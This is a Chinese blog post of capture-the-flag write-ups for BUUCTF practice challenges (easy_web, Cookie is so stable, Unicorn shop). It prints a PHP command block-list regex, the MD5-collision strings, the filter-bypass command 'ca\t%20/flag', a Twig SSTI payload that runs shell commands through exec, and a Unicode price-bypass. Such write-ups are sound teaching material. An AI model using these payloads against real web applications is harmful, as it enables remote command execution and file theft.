您当前的位置: 首页 > 

葫芦娃42

暂无认证

  • 4浏览

    0关注

    75博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

buuctf 7(md5强碰撞&Twig模板&utf-8字符大小&变量动态调用函数)

葫芦娃42 发布时间:2022-06-08 00:05:11 ,浏览量:4

[安洵杯 2019]easy_web

在url里发现了img参数是一段base64编码,同时还存在cmd参数,试着传入一些命令,无果。

看一下img参数,base64解码一下,MzUzNTM1MmU3MDZlNjc=

还是一段base64编码,再解码得到 3535352e706e67

应该是一段16进制数,hexdecode 得到 555.png

这里想到 试着把 index.php按照此方式编码一下传给img。

先base16, 再进行两次base64 得到:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

传入img参数,访问一下,发现图片消失了,把源码里的base64部分解码得到源代码。


重点是下面这段代码。

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|/i", $cmd)) {
    echo("forbid ~");
    echo "";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

要通过md5强碰撞,来执行我们的echo`cmd` . 可以参考下面两个文章。

如何用不同的数值构建一样的MD5 - 第二届强网杯 MD5碰撞 writeup - 先知社区

使用fastcoll生成字符串MD5碰撞_KogRow的博客-CSDN博客_fastcoll

这里生成的a和b是已经经过url编码的: fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975%EA%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%DDa7%D0%40%C6i%97%10l%84%9D%BA%7FK%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhjj%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2AF%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0Cw%0E%A3%94%9B

fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975j%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%5Db7%D0%40%C6i%97%10l%84%9D%BA%7F%CB%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhj%EA%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2%C1E%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0C%F7%0E%A3%94%9B

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|/i", $cmd)) {
    echo("forbid ~");
    echo "";

从这可以看出,好多命令都被过滤了不能用。不过dir没有被过滤。用dir查看一下目录。

空格也被过滤了,可以使用%20,/没被过滤

(原因:这里\没有被过滤的原因可能是正则匹配中|\|\\|先被php解释器(第一次)解释成||\|,然后正则(第二次)就变成了过滤|\)

使用burp先把get包转换为post包,然后为了不出现一大串base64加密的字符,将img参数去掉。然后传入上面已经构造好的a和b参数:

linux里可以用\。ca\t%20/flag绕过过滤。得到flag。

[BJDCTF2020]Cookie is so stable

在hint中得到提示:

 回到flag.php

输入admin 登录 Hello admin  然后刷新页面抓包,在cookie中发现 user=admin

测试发现存在SSTI模板注入。

 {{7*7}}回显49

{{7*'7'}}回显49 说明是Twig模板,但是如果返回7777777,则说明是Jinia2模板

由于是Twig注入,所以是有固定的payload

这个函数中调用了一个 call_user_function 方法

    public function getFilter($name)
    {
            [snip]
            foreach ($this->filterCallbacks as $callback) {
            if (false !== $filter = call_user_func($callback, $name)) {//注意这行
                return $filter;
            }
        }
        return false;
    }
     
    public function registerUndefinedFilterCallback($callable)
    {
        $this->filterCallbacks[] = $callable;
    }

我们只要把exec() 作为回调函数传进去就能实现命令执行了

 查看id:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

查看flag:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

 得到flag。

SSTI详细可参考:一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog

[ASIS 2019]Unicorn shop 

进去发现是可以输入id和price来购买商品。

id=1,2,3时输入正确价格,返回

 id=4 price=1337时返回

只能输入一个字符。

 查看源码得到提示,utf really importtant。

考点unicode编码安全问题 我们可以用别的语言来表示数字

我们找一个Unicode编码 >1337的。

一个搜unicode的网站:

Unicode - Compart

  其utf-8为0xE2 0x86 0x88 化为url

id=4&price=%E2%86%88

得到flag。

id=4&price=万 也可以。好像不用专门去找

看这位师傅博客写的,提到了源码:[ASIS 2019]Unicorn shop ( 自找 wp 记录)_kee_ke的博客-CSDN博客

注意框起来的那两处的作用就是把传入的price 参数 url 解码之后utf-8解码,然后返回对应的 Numeric Value 值 

 所以我们传入万,也就转化成了相应的浮点数,因而>1337.这也是为什么我们要找unicode >1337的原因了。

[CISCN 2019 初赛]Love Math
            
关注
打赏
1658420143
查看更多评论
0.0374s